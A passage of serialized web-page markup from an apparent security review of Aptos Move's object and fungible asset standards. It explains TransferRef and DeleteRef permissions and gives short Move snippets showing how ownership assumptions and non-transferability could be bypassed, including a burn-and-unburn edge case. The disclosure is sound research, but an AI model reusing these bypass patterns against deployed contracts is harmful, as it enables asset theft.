borrow_global",{"type":24,"tag":327,"props":71255,"children":71256},{"style":346},[71257],{"type":29,"value":1596},{"type":24,"tag":327,"props":71259,"children":71260},{"style":1639},[71261],{"type":29,"value":71192},{"type":24,"tag":327,"props":71263,"children":71264},{"style":346},[71265],{"type":29,"value":15173},{"type":24,"tag":327,"props":71267,"children":71268},{"style":356},[71269],{"type":29,"value":71201},{"type":24,"tag":327,"props":71271,"children":71272},{"style":346},[71273],{"type":29,"value":583},{"type":24,"tag":327,"props":71275,"children":71276},{"class":329,"line":557},[71277,71282,71286,71290,71294],{"type":24,"tag":327,"props":71278,"children":71279},{"style":356},[71280],{"type":29,"value":71281},"        current_address",{"type":24,"tag":327,"props":71283,"children":71284},{"style":381},[71285],{"type":29,"value":4809},{"type":24,"tag":327,"props":71287,"children":71288},{"style":356},[71289],{"type":29,"value":69217},{"type":24,"tag":327,"props":71291,"children":71292},{"style":381},[71293],{"type":29,"value":66},{"type":24,"tag":327,"props":71295,"children":71296},{"style":346},[71297],{"type":29,"value":71298},"owner;\n",{"type":24,"tag":327,"props":71300,"children":71301},{"class":329,"line":586},[71302],{"type":24,"tag":327,"props":71303,"children":71304},{"style":346},[71305],{"type":29,"value":45710},{"type":24,"tag":327,"props":71307,"children":71308},{"class":329,"line":1017},[71309],{"type":24,"tag":327,"props":71310,"children":71311},{"style":346},[71312],{"type":29,"value":592},{"type":24,"tag":25,"props":71314,"children":71315},{},[71316,71318,71323],{"type":29,"value":71317},"This could allow for bypassing assumptions about ",{"type":24,"tag":284,"props":71319,"children":71321},{"className":71320},[],[71322],{"type":29,"value":68799},{"type":29,"value":71324}," true ownership and its non-transferability.",{"type":24,"tag":317,"props":71326,"children":71328},{"className":1553,"code":71327,"language":1552,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[71329],{"type":24,"tag":284,"props":71330,"children":71331},{"__ignoreMap":7},[71332,71390,71443,71487,71535,71542,71587,71595],{"type":24,"tag":327,"props":71333,"children":71334},{"class":329,"line":330},[71335,71339,71343,71348,71352,71357,71361,71365,71369,71373,71378,71382,71386],{"type":24,"tag":327,"props":71336,"children":71337},{"style":356},[71338],{"type":29,"value":68398},{"type":24,"tag":327,"props":71340,"children":71341},{"style":356},[71342],{"type":29,"value":13773},{"type":24,"tag":327,"props":71344,"children":71345},{"style":340},[71346],{"type":29,"value":71347}," untransferable_transfer",{"type":24,"tag":327,"props":71349,"children":71350},{"style":346},[71351],{"type":29,"value":349},{"type":24,"tag":327,"props":71353,"children":71354},{"style":356},[71355],{"type":29,"value":71356},"caller",{"type":24,"tag":327,"props":71358,"children":71359},{"style":381},[71360],{"type":29,"value":1636},{"type":24,"tag":327,"props":71362,"children":71363},{"style":381},[71364],{"type":29,"value":14704},{"type":24,"tag":327,"props":71366,"children":71367},{"style":356},[71368],{"type":29,"value":14709},{"type":24,"tag":327,"props":71370,"children":71371},{"style":346},[71372],{"type":29,"value":2744},{"type":24,"tag":327,"props":71374,"children":71375},{"style":356},[71376],{"type":29,"value":71377},"receipient",{"type":24,"tag":327,"props":71379,"children":71380},{"style":381},[71381],{"type":29,"value":1636},{"type":24,"tag":327,"props":71383,"children":71384},{"style":356},[71385],{"type":29,"value":13816},{"type":24,"tag":327,"props":71387,"children":71388},{"style":346},[71389],{"type":29,"value":364},{"type":24,"tag":327,"props":71391,"children":71392},{"class":329,"line":367},[71393,71397,71402,71406,71410,71414,71419,71423,71427,71431,71435,71439],{"type":24,"tag":327,"props":71394,"children":71395},{"style":334},[71396],{"type":29,"value":4794},{"type":24,"tag":327,"props":71398,"children":71399},{"style":356},[71400],{"type":29,"value":71401}," constructor_ref",{"type":24,"tag":327,"props":71403,"children":71404},{"style":381},[71405],{"type":29,"value":4809},{"type":24,"tag":327,"props":71407,"children":71408},{"style":346},[71409],{"type":29,"value":69217},{"type":24,"tag":327,"props":71411,"children":71412},{"style":381},[71413],{"type":29,"value":2407},{"type":24,"tag":327,"props":71415,"children":71416},{"style":340},[71417],{"type":29,"value":71418},"create_object",{"type":24,"tag":327,"props":71420,"children":71421},{"style":346},[71422],{"type":29,"value":14763},{"type":24,"tag":327,"props":71424,"children":71425},{"style":381},[71426],{"type":29,"value":2407},{"type":24,"tag":327,"props":71428,"children":71429},{"style":340},[71430],{"type":29,"value":14772},{"type":24,"tag":327,"props":71432,"children":71433},{"style":346},[71434],{"type":29,"value":349},{"type":24,"tag":327,"props":71436,"children":71437},{"style":356},[71438],{"type":29,"value":71356},{"type":24,"tag":327,"props":71440,"children":71441},{"style":346},[71442],{"type":29,"value":14786},{"type":24,"tag":327,"props":71444,"children":71445},{"class":329,"line":408},[71446,71450,71454,71458,71462,71466,71471,71475,71479,71483],{"type":24,"tag":327,"props":71447,"children":71448},{"style":334},[71449],{"type":29,"value":4794},{"type":24,"tag":327,"props":71451,"children":71452},{"style":356},[71453],{"type":29,"value":70804},{"type":24,"tag":327,"props":71455,"children":71456},{"style":381},[71457],{"type":29,"value":4809},{"type":24,"tag":327,"props":71459,"children":71460},{"style":346},[71461],{"type":29,"value":69217},{"type":24,"tag":327,"props":71463,"children":71464},{"style":381},[71465],{"type":29,"value":2407},{"type":24,"tag":327,"props":71467,"children":71468},{"style":340},[71469],{"type":29,"value":71470},"address_from_constructor_ref",{"type":24,"tag":327,"props":71472,"children":71473},{"style":346},[71474],{"type":29,"value":349},{"type":24,"tag":327,"props":71476,"children":71477},{"style":381},[71478],{"type":29,"value":8716},{"type":24,"tag":327,"props":71480,"children":71481},{"style":356},[71482],{"type":29,"value":69651},{"type":24,"tag":327,"props":71484,"children":71485},{"style":346},[71486],{"type":29,"value":583},{"type":24,"tag":327,"props":71488,"children":71489},{"class":329,"line":421},[71490,71494,71498,71502,71507,71511,71515,71519,71523,71527,71531],{"type":24,"tag":327,"props":71491,"children":71492},{"style":334},[71493],{"type":29,"value":4794},{"type":24,"tag":327,"props":71495,"children":71496},{"style":356},[71497],{"type":29,"value":13399},{"type":24,"tag":327,"props":71499,"children":71500},{"style":381},[71501],{"type":29,"value":4809},{"type":24,"tag":327,"props":71503,"children":71504},{"style":346},[71505],{"type":29,"value":71506}," primary_fungible_store",{"type":24,"tag":327,"props":71508,"children":71509},{"style":381},[71510],{"type":29,"value":2407},{"type":24,"tag":327,"props":71512,"children":71513},{"style":340},[71514],{"type":29,"value":69543},{"type":24,"tag":327,"props":71516,"children":71517},{"style":346},[71518],{"type":29,"value":349},{"type":24,"tag":327,"props":71520,"children":71521},{"style":356},[71522],{"type":29,"value":70850},{"type":24,"tag":327,"props":71524,"children":71525},{"style":346},[71526],{"type":29,"value":2744},{"type":24,"tag":327,"props":71528,"children":71529},{"style":340},[71530],{"type":29,"value":69499},{"type":24,"tag":327,"props":71532,"children":71533},{"style":346},[71534],{"type":29,"value":10225},{"type":24,"tag":327,"props":71536,"children":71537},{"class":329,"line":450},[71538],{"type":24,"tag":327,"props":71539,"children":71540},{"emptyLinePlaceholder":16},[71541],{"type":29,"value":544},{"type":24,"tag":327,"props":71543,"children":71544},{"class":329,"line":481},[71545,71550,71554,71559,71563,71567,71571,71575,71579,71583],{"type":24,"tag":327,"props":71546,"children":71547},{"style":346},[71548],{"type":29,"value":71549},"    object",{"type":24,"tag":327,"props":71551,"children":71552},{"style":381},[71553],{"type":29,"value":2407},{"type":24,"tag":327,"props":71555,"children":71556},{"style":340},[71557],{"type":29,"value":71558},"transfer_raw",{"type":24,"tag":327,"props":71560,"children":71561},{"style":346},[71562],{"type":29,"value":349},{"type":24,"tag":327,"props":71564,"children":71565},{"style":356},[71566],{"type":29,"value":71356},{"type":24,"tag":327,"props":71568,"children":71569},{"style":346},[71570],{"type":29,"value":2744},{"type":24,"tag":327,"props":71572,"children":71573},{"style":356},[71574],{"type":29,"value":70850},{"type":24,"tag":327,"props":71576,"children":71577},{"style":346},[71578],{"type":29,"value":2744},{"type":24,"tag":327,"props":71580,"children":71581},{"style":356},[71582],{"type":29,"value":71377},{"type":24,"tag":327,"props":71584,"children":71585},{"style":346},[71586],{"type":29,"value":583},{"type":24,"tag":327,"props":71588,"children":71589},{"class":329,"line":500},[71590],{"type":24,"tag":327,"props":71591,"children":71592},{"style":551},[71593],{"type":29,"value":71594},"    //receipient can interact with store by using their signer\n",{"type":24,"tag":327,"props":71596,"children":71597},{"class":329,"line":529},[71598],{"type":24,"tag":327,"props":71599,"children":71600},{"style":346},[71601],{"type":29,"value":592},{"type":24,"tag":25,"props":71603,"children":71604},{},[71605,71607,71614],{"type":29,"value":71606},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":24,"tag":57,"props":71608,"children":71611},{"href":71609,"rel":71610},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[61],[71612],{"type":29,"value":71613},"edge case",{"type":29,"value":71615}," involving the transfer of a non-transferable fungible store.",{"type":24,"tag":317,"props":71617,"children":71619},{"className":1553,"code":71618,"language":1552,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[71620],{"type":24,"tag":284,"props":71621,"children":71622},{"__ignoreMap":7},[71623,71688,71749,71796,71807,71842,71862,71869,71876,71891,71898,71926],{"type":24,"tag":327,"props":71624,"children":71625},{"class":329,"line":330},[71626,71630,71634,71639,71643,71647,71651,71656,71660,71664,71668,71672,71676,71680,71684],{"type":24,"tag":327,"props":71627,"children":71628},{"style":356},[71629],{"type":29,"value":68398},{"type":24,"tag":327,"props":71631,"children":71632},{"style":356},[71633],{"type":29,"value":13773},{"type":24,"tag":327,"props":71635,"children":71636},{"style":340},[71637],{"type":29,"value":71638}," transfer_with_ref",{"type":24,"tag":327,"props":71640,"children":71641},{"style":346},[71642],{"type":29,"value":349},{"type":24,"tag":327,"props":71644,"children":71645},{"style":334},[71646],{"type":29,"value":70060},{"type":24,"tag":327,"props":71648,"children":71649},{"style":381},[71650],{"type":29,"value":1636},{"type":24,"tag":327,"props":71652,"children":71653},{"style":1639},[71654],{"type":29,"value":71655}," LinearTransferRef",{"type":24,"tag":327,"props":71657,"children":71658},{"style":346},[71659],{"type":29,"value":2744},{"type":24,"tag":327,"props":71661,"children":71662},{"style":356},[71663],{"type":29,"value":39438},{"type":24,"tag":327,"props":71665,"children":71666},{"style":381},[71667],{"type":29,"value":1636},{"type":24,"tag":327,"props":71669,"children":71670},{"style":356},[71671],{"type":29,"value":13816},{"type":24,"tag":327,"props":71673,"children":71674},{"style":346},[71675],{"type":29,"value":1674},{"type":24,"tag":327,"props":71677,"children":71678},{"style":356},[71679],{"type":29,"value":13910},{"type":24,"tag":327,"props":71681,"children":71682},{"style":1639},[71683],{"type":29,"value":70697},{"type":24,"tag":327,"props":71685,"children":71686},{"style":346},[71687],{"type":29,"value":497},{"type":24,"tag":327,"props":71689,"children":71690},{"class":329,"line":367},[71691,71695,71699,71703,71707,71711,71716,71720,71724,71728,71732,71736,71740,71744],{"type":24,"tag":327,"props":71692,"children":71693},{"style":340},[71694],{"type":29,"value":69067},{"type":24,"tag":327,"props":71696,"children":71697},{"style":346},[71698],{"type":29,"value":349},{"type":24,"tag":327,"props":71700,"children":71701},{"style":381},[71702],{"type":29,"value":1986},{"type":24,"tag":327,"props":71704,"children":71705},{"style":356},[71706],{"type":29,"value":14270},{"type":24,"tag":327,"props":71708,"children":71709},{"style":346},[71710],{"type":29,"value":1596},{"type":24,"tag":327,"props":71712,"children":71713},{"style":1639},[71714],{"type":29,"value":71715},"Untransferable",{"type":24,"tag":327,"props":71717,"children":71718},{"style":346},[71719],{"type":29,"value":15173},{"type":24,"tag":327,"props":71721,"children":71722},{"style":334},[71723],{"type":29,"value":70060},{"type":24,"tag":327,"props":71725,"children":71726},{"style":381},[71727],{"type":29,"value":66},{"type":24,"tag":327,"props":71729,"children":71730},{"style":334},[71731],{"type":29,"value":2345},{"type":24,"tag":327,"props":71733,"children":71734},{"style":346},[71735],{"type":29,"value":69656},{"type":24,"tag":327,"props":71737,"children":71738},{"style":381},[71739],{"type":29,"value":2407},{"type":24,"tag":327,"props":71741,"children":71742},{"style":340},[71743],{"type":29,"value":70542},{"type":24,"tag":327,"props":71745,"children":71746},{"style":346},[71747],{"type":29,"value":71748},"(ENOT_MOVABLE));\n",{"type":24,"tag":327,"props":71750,"children":71751},{"class":329,"line":408},[71752,71756,71760,71764,71768,71772,71776,71780,71784,71788,71792],{"type":24,"tag":327,"props":71753,"children":71754},{"style":334},[71755],{"type":29,"value":4794},{"type":24,"tag":327,"props":71757,"children":71758},{"style":356},[71759],{"type":29,"value":69217},{"type":24,"tag":327,"props":71761,"children":71762},{"style":381},[71763],{"type":29,"value":4809},{"type":24,"tag":327,"props":71765,"children":71766},{"style":356},[71767],{"type":29,"value":15159},{"type":24,"tag":327,"props":71769,"children":71770},{"style":346},[71771],{"type":29,"value":1596},{"type":24,"tag":327,"props":71773,"children":71774},{"style":1639},[71775],{"type":29,"value":71192},{"type":24,"tag":327,"props":71777,"children":71778},{"style":346},[71779],{"type":29,"value":15173},{"type":24,"tag":327,"props":71781,"children":71782},{"style":334},[71783],{"type":29,"value":70060},{"type":24,"tag":327,"props":71785,"children":71786},{"style":381},[71787],{"type":29,"value":66},{"type":24,"tag":327,"props":71789,"children":71790},{"style":334},[71791],{"type":29,"value":2345},{"type":24,"tag":327,"props":71793,"children":71794},{"style":346},[71795],{"type":29,"value":583},{"type":24,"tag":327,"props":71797,"children":71798},{"class":329,"line":421},[71799,71803],{"type":24,"tag":327,"props":71800,"children":71801},{"style":340},[71802],{"type":29,"value":69067},{"type":24,"tag":327,"props":71804,"children":71805},{"style":346},[71806],{"type":29,"value":4663},{"type":24,"tag":327,"props":71808,"children":71809},{"class":329,"line":450},[71810,71815,71819,71824,71828,71833,71837],{"type":24,"tag":327,"props":71811,"children":71812},{"style":356},[71813],{"type":29,"value":71814},"        object",{"type":24,"tag":327,"props":71816,"children":71817},{"style":381},[71818],{"type":29,"value":66},{"type":24,"tag":327,"props":71820,"children":71821},{"style":346},[71822],{"type":29,"value":71823},"owner ",{"type":24,"tag":327,"props":71825,"children":71826},{"style":381},[71827],{"type":29,"value":642},{"type":24,"tag":327,"props":71829,"children":71830},{"style":334},[71831],{"type":29,"value":71832}," ref",{"type":24,"tag":327,"props":71834,"children":71835},{"style":381},[71836],{"type":29,"value":66},{"type":24,"tag":327,"props":71838,"children":71839},{"style":346},[71840],{"type":29,"value":71841},"owner,\n",{"type":24,"tag":327,"props":71843,"children":71844},{"class":329,"line":481},[71845,71850,71854,71858],{"type":24,"tag":327,"props":71846,"children":71847},{"style":346},[71848],{"type":29,"value":71849},"        error",{"type":24,"tag":327,"props":71851,"children":71852},{"style":381},[71853],{"type":29,"value":2407},{"type":24,"tag":327,"props":71855,"children":71856},{"style":340},[71857],{"type":29,"value":70542},{"type":24,"tag":327,"props":71859,"children":71860},{"style":346},[71861],{"type":29,"value":71226},{"type":24,"tag":327,"props":71863,"children":71864},{"class":329,"line":500},[71865],{"type":24,"tag":327,"props":71866,"children":71867},{"style":346},[71868],{"type":29,"value":50373},{"type":24,"tag":327,"props":71870,"children":71871},{"class":329,"line":529},[71872],{"type":24,"tag":327,"props":71873,"children":71874},{"style":346},[71875],{"type":29,"value":68509},{"type":24,"tag":327,"props":71877,"children":71878},{"class":329,"line":538},[71879,71883,71887],{"type":24,"tag":327,"props":71880,"children":71881},{"style":346},[71882],{"type":29,"value":69441},{"type":24,"tag":327,"props":71884,"children":71885},{"style":381},[71886],{"type":29,"value":1922},{"type":24,"tag":327,"props":71888,"children":71889},{"style":346},[71890],{"type":29,"value":19319},{"type":24,"tag":327,"props":71892,"children":71893},{"class":329,"line":547},[71894],{"type":24,"tag":327,"props":71895,"children":71896},{"style":346},[71897],{"type":29,"value":68509},{"type":24,"tag":327,"props":71899,"children":71900},{"class":329,"line":557},[71901,71905,71909,71913,71917,71922],{"type":24,"tag":327,"props":71902,"children":71903},{"style":356},[71904],{"type":29,"value":71549},{"type":24,"tag":327,"props":71906,"children":71907},{"style":381},[71908],{"type":29,"value":66},{"type":24,"tag":327,"props":71910,"children":71911},{"style":346},[71912],{"type":29,"value":71823},{"type":24,"tag":327,"props":71914,"children":71915},{"style":381},[71916],{"type":29,"value":384},{"type":24,"tag":327,"props":71918,"children":71919},{"style":356},[71920],{"type":29,"value":71921}," to",{"type":24,"tag":327,"props":71923,"children":71924},{"style":346},[71925],{"type":29,"value":405},{"type":24,"tag":327,"props":71927,"children":71928},{"class":329,"line":586},[71929],{"type":24,"tag":327,"props":71930,"children":71931},{"style":346},[71932],{"type":29,"value":592},{"type":24,"tag":25,"props":71934,"children":71935},{},[71936,71938,71943,71945,71950],{"type":29,"value":71937},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":24,"tag":284,"props":71939,"children":71941},{"className":71940},[],[71942],{"type":29,"value":70595},{"type":29,"value":71944},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":24,"tag":284,"props":71946,"children":71948},{"className":71947},[],[71949],{"type":29,"value":14709},{"type":29,"value":71951}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":24,"tag":235,"props":71953,"children":71955},{"id":71954},"references",[71956],{"type":29,"value":71957},"References",{"type":24,"tag":25,"props":71959,"children":71960},{},[71961,71966,71968,71974,71976,71981,71983,71988],{"type":24,"tag":284,"props":71962,"children":71964},{"className":71963},[],[71965],{"type":29,"value":71957},{"type":29,"value":71967}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":24,"tag":284,"props":71969,"children":71971},{"className":71970},[],[71972],{"type":29,"value":71973},"Refs",{"type":29,"value":71975}," are based on the ",{"type":24,"tag":284,"props":71977,"children":71979},{"className":71978},[],[71980],{"type":29,"value":55571},{"type":29,"value":71982}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":24,"tag":284,"props":71984,"children":71986},{"className":71985},[],[71987],{"type":29,"value":55571},{"type":29,"value":71989}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":24,"tag":25,"props":71991,"children":71992},{},[71993,71995,72000,72002,72007,72008,72014,72016,72021,72023,72028],{"type":29,"value":71994},"Let's get back to the ",{"type":24,"tag":284,"props":71996,"children":71998},{"className":71997},[],[71999],{"type":29,"value":68799},{"type":29,"value":72001}," deletion example. Both ",{"type":24,"tag":284,"props":72003,"children":72005},{"className":72004},[],[72006],{"type":29,"value":70084},{"type":29,"value":1323},{"type":24,"tag":284,"props":72009,"children":72011},{"className":72010},[],[72012],{"type":29,"value":72013},"fungible_asset::remove_store",{"type":29,"value":72015}," use the same object-specific ",{"type":24,"tag":284,"props":72017,"children":72019},{"className":72018},[],[72020],{"type":29,"value":70016},{"type":29,"value":72022}," permission. It can be created only during object creation. There is no separate ",{"type":24,"tag":284,"props":72024,"children":72026},{"className":72025},[],[72027],{"type":29,"value":70016},{"type":29,"value":72029}," for fungible assets.",{"type":24,"tag":317,"props":72031,"children":72032},{"className":1553,"code":69966,"language":1552,"meta":7,"style":7},[72033],{"type":24,"tag":284,"props":72034,"children":72035},{"__ignoreMap":7},[72036,72043,72082,72089,72096],{"type":24,"tag":327,"props":72037,"children":72038},{"class":329,"line":330},[72039],{"type":24,"tag":327,"props":72040,"children":72041},{"style":551},[72042],{"type":29,"value":69978},{"type":24,"tag":327,"props":72044,"children":72045},{"class":329,"line":367},[72046,72050,72054,72058,72062,72066,72070,72074,72078],{"type":24,"tag":327,"props":72047,"children":72048},{"style":356},[72049],{"type":29,"value":68398},{"type":24,"tag":327,"props":72051,"children":72052},{"style":356},[72053],{"type":29,"value":13773},{"type":24,"tag":327,"props":72055,"children":72056},{"style":340},[72057],{"type":29,"value":69994},{"type":24,"tag":327,"props":72059,"children":72060},{"style":346},[72061],{"type":29,"value":349},{"type":24,"tag":327,"props":72063,"children":72064},{"style":356},[72065],{"type":29,"value":70003},{"type":24,"tag":327,"props":72067,"children":72068},{"style":381},[72069],{"type":29,"value":1636},{"type":24,"tag":327,"props":72071,"children":72072},{"style":381},[72073],{"type":29,"value":14704},{"type":24,"tag":327,"props":72075,"children":72076},{"style":1639},[72077],{"type":29,"value":70016},{"type":24,"tag":327,"props":72079,"children":72080},{"style":346},[72081],{"type":29,"value":852},{"type":24,"tag":327,"props":72083,"children":72084},{"class":329,"line":408},[72085],{"type":24,"tag":327,"props":72086,"children":72087},{"emptyLinePlaceholder":16},[72088],{"type":29,"value":544},{"type":24,"tag":327,"props":72090,"children":72091},{"class":329,"line":421},[72092],{"type":24,"tag":327,"props":72093,"children":72094},{"style":551},[72095],{"type":29,"value":70035},{"type":24,"tag":327,"props":72097,"children":72098},{"class":329,"line":450},[72099,72103,72107,72111,72115,72119,72123,72127],{"type":24,"tag":327,"props":72100,"children":72101},{"style":356},[72102],{"type":29,"value":68398},{"type":24,"tag":327,"props":72104,"children":72105},{"style":356},[72106],{"type":29,"value":13773},{"type":24,"tag":327,"props":72108,"children":72109},{"style":340},[72110],{"type":29,"value":70051},{"type":24,"tag":327,"props":72112,"children":72113},{"style":346},[72114],{"type":29,"value":349},{"type":24,"tag":327,"props":72116,"children":72117},{"style":334},[72118],{"type":29,"value":70060},{"type":24,"tag":327,"props":72120,"children":72121},{"style":381},[72122],{"type":29,"value":1636},{"type":24,"tag":327,"props":72124,"children":72125},{"style":1639},[72126],{"type":29,"value":70069},{"type":24,"tag":327,"props":72128,"children":72129},{"style":346},[72130],{"type":29,"value":852},{"type":24,"tag":25,"props":72132,"children":72133},{},[72134,72136,72141,72143,72149],{"type":29,"value":72135},"On the other hand, the \"frozen\" status of a ",{"type":24,"tag":284,"props":72137,"children":72139},{"className":72138},[],[72140],{"type":29,"value":68799},{"type":29,"value":72142}," is toggled using a ",{"type":24,"tag":284,"props":72144,"children":72146},{"className":72145},[],[72147],{"type":29,"value":72148},"TransferRef",{"type":29,"value":72150},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":24,"tag":317,"props":72152,"children":72154},{"className":1553,"code":72153,"language":1552,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[72155],{"type":24,"tag":284,"props":72156,"children":72157},{"__ignoreMap":7},[72158,72194,72218,72245,72264],{"type":24,"tag":327,"props":72159,"children":72160},{"class":329,"line":330},[72161,72165,72169,72174,72178,72182,72186,72190],{"type":24,"tag":327,"props":72162,"children":72163},{"style":356},[72164],{"type":29,"value":68398},{"type":24,"tag":327,"props":72166,"children":72167},{"style":356},[72168],{"type":29,"value":13773},{"type":24,"tag":327,"props":72170,"children":72171},{"style":356},[72172],{"type":29,"value":72173}," set_frozen_flag",{"type":24,"tag":327,"props":72175,"children":72176},{"style":346},[72177],{"type":29,"value":1596},{"type":24,"tag":327,"props":72179,"children":72180},{"style":1639},[72181],{"type":29,"value":13555},{"type":24,"tag":327,"props":72183,"children":72184},{"style":381},[72185],{"type":29,"value":1636},{"type":24,"tag":327,"props":72187,"children":72188},{"style":356},[72189],{"type":29,"value":13499},{"type":24,"tag":327,"props":72191,"children":72192},{"style":346},[72193],{"type":29,"value":14155},{"type":24,"tag":327,"props":72195,"children":72196},{"class":329,"line":367},[72197,72202,72206,72210,72214],{"type":24,"tag":327,"props":72198,"children":72199},{"style":334},[72200],{"type":29,"value":72201},"    ref",{"type":24,"tag":327,"props":72203,"children":72204},{"style":381},[72205],{"type":29,"value":1636},{"type":24,"tag":327,"props":72207,"children":72208},{"style":381},[72209],{"type":29,"value":14704},{"type":24,"tag":327,"props":72211,"children":72212},{"style":1639},[72213],{"type":29,"value":72148},{"type":24,"tag":327,"props":72215,"children":72216},{"style":346},[72217],{"type":29,"value":2231},{"type":24,"tag":327,"props":72219,"children":72220},{"class":329,"line":408},[72221,72225,72229,72233,72237,72241],{"type":24,"tag":327,"props":72222,"children":72223},{"style":356},[72224],{"type":29,"value":36122},{"type":24,"tag":327,"props":72226,"children":72227},{"style":381},[72228],{"type":29,"value":1636},{"type":24,"tag":327,"props":72230,"children":72231},{"style":1639},[72232],{"type":29,"value":68284},{"type":24,"tag":327,"props":72234,"children":72235},{"style":346},[72236],{"type":29,"value":1596},{"type":24,"tag":327,"props":72238,"children":72239},{"style":1639},[72240],{"type":29,"value":13555},{"type":24,"tag":327,"props":72242,"children":72243},{"style":346},[72244],{"type":29,"value":4529},{"type":24,"tag":327,"props":72246,"children":72247},{"class":329,"line":421},[72248,72252,72256,72260],{"type":24,"tag":327,"props":72249,"children":72250},{"style":356},[72251],{"type":29,"value":67936},{"type":24,"tag":327,"props":72253,"children":72254},{"style":381},[72255],{"type":29,"value":1636},{"type":24,"tag":327,"props":72257,"children":72258},{"style":1639},[72259],{"type":29,"value":1935},{"type":24,"tag":327,"props":72261,"children":72262},{"style":346},[72263],{"type":29,"value":2231},{"type":24,"tag":327,"props":72265,"children":72266},{"class":329,"line":450},[72267],{"type":24,"tag":327,"props":72268,"children":72269},{"style":346},[72270],{"type":29,"value":852},{"type":24,"tag":25,"props":72272,"children":72273},{},[72274,72275,72280,72281,72286],{"type":29,"value":1713},{"type":24,"tag":284,"props":72276,"children":72278},{"className":72277},[],[72279],{"type":29,"value":55571},{"type":29,"value":14024},{"type":24,"tag":284,"props":72282,"children":72284},{"className":72283},[],[72285],{"type":29,"value":72148},{"type":29,"value":72287}," is used to transfer object ownership:",{"type":24,"tag":317,"props":72289,"children":72291},{"className":1553,"code":72290,"language":1552,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[72292],{"type":24,"tag":284,"props":72293,"children":72294},{"__ignoreMap":7},[72295,72303,72336,72355],{"type":24,"tag":327,"props":72296,"children":72297},{"class":329,"line":330},[72298],{"type":24,"tag":327,"props":72299,"children":72300},{"style":551},[72301],{"type":29,"value":72302},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":24,"tag":327,"props":72304,"children":72305},{"class":329,"line":367},[72306,72310,72315,72319,72324,72328,72332],{"type":24,"tag":327,"props":72307,"children":72308},{"style":334},[72309],{"type":29,"value":2195},{"type":24,"tag":327,"props":72311,"children":72312},{"style":1639},[72313],{"type":29,"value":72314}," TransferRef",{"type":24,"tag":327,"props":72316,"children":72317},{"style":356},[72318],{"type":29,"value":16961},{"type":24,"tag":327,"props":72320,"children":72321},{"style":356},[72322],{"type":29,"value":72323}," drop",{"type":24,"tag":327,"props":72325,"children":72326},{"style":346},[72327],{"type":29,"value":2744},{"type":24,"tag":327,"props":72329,"children":72330},{"style":356},[72331],{"type":29,"value":13508},{"type":24,"tag":327,"props":72333,"children":72334},{"style":346},[72335],{"type":29,"value":497},{"type":24,"tag":327,"props":72337,"children":72338},{"class":329,"line":408},[72339,72343,72347,72351],{"type":24,"tag":327,"props":72340,"children":72341},{"style":334},[72342],{"type":29,"value":2152},{"type":24,"tag":327,"props":72344,"children":72345},{"style":381},[72346],{"type":29,"value":1636},{"type":24,"tag":327,"props":72348,"children":72349},{"style":356},[72350],{"type":29,"value":13816},{"type":24,"tag":327,"props":72352,"children":72353},{"style":346},[72354],{"type":29,"value":2231},{"type":24,"tag":327,"props":72356,"children":72357},{"class":329,"line":421},[72358],{"type":24,"tag":327,"props":72359,"children":72360},{"style":346},[72361],{"type":29,"value":592},{"type":24,"tag":25,"props":72363,"children":72364},{},[72365,72367,72372],{"type":29,"value":72366},"While the fungible asset's ",{"type":24,"tag":284,"props":72368,"children":72370},{"className":72369},[],[72371],{"type":29,"value":72148},{"type":29,"value":72373}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":24,"tag":317,"props":72375,"children":72377},{"className":1553,"code":72376,"language":1552,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[72378],{"type":24,"tag":284,"props":72379,"children":72380},{"__ignoreMap":7},[72381,72389,72397,72428,72455],{"type":24,"tag":327,"props":72382,"children":72383},{"class":329,"line":330},[72384],{"type":24,"tag":327,"props":72385,"children":72386},{"style":551},[72387],{"type":29,"value":72388},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":24,"tag":327,"props":72390,"children":72391},{"class":329,"line":367},[72392],{"type":24,"tag":327,"props":72393,"children":72394},{"style":551},[72395],{"type":29,"value":72396},"/// and allow the holder of TransferRef to transfer fungible assets from any 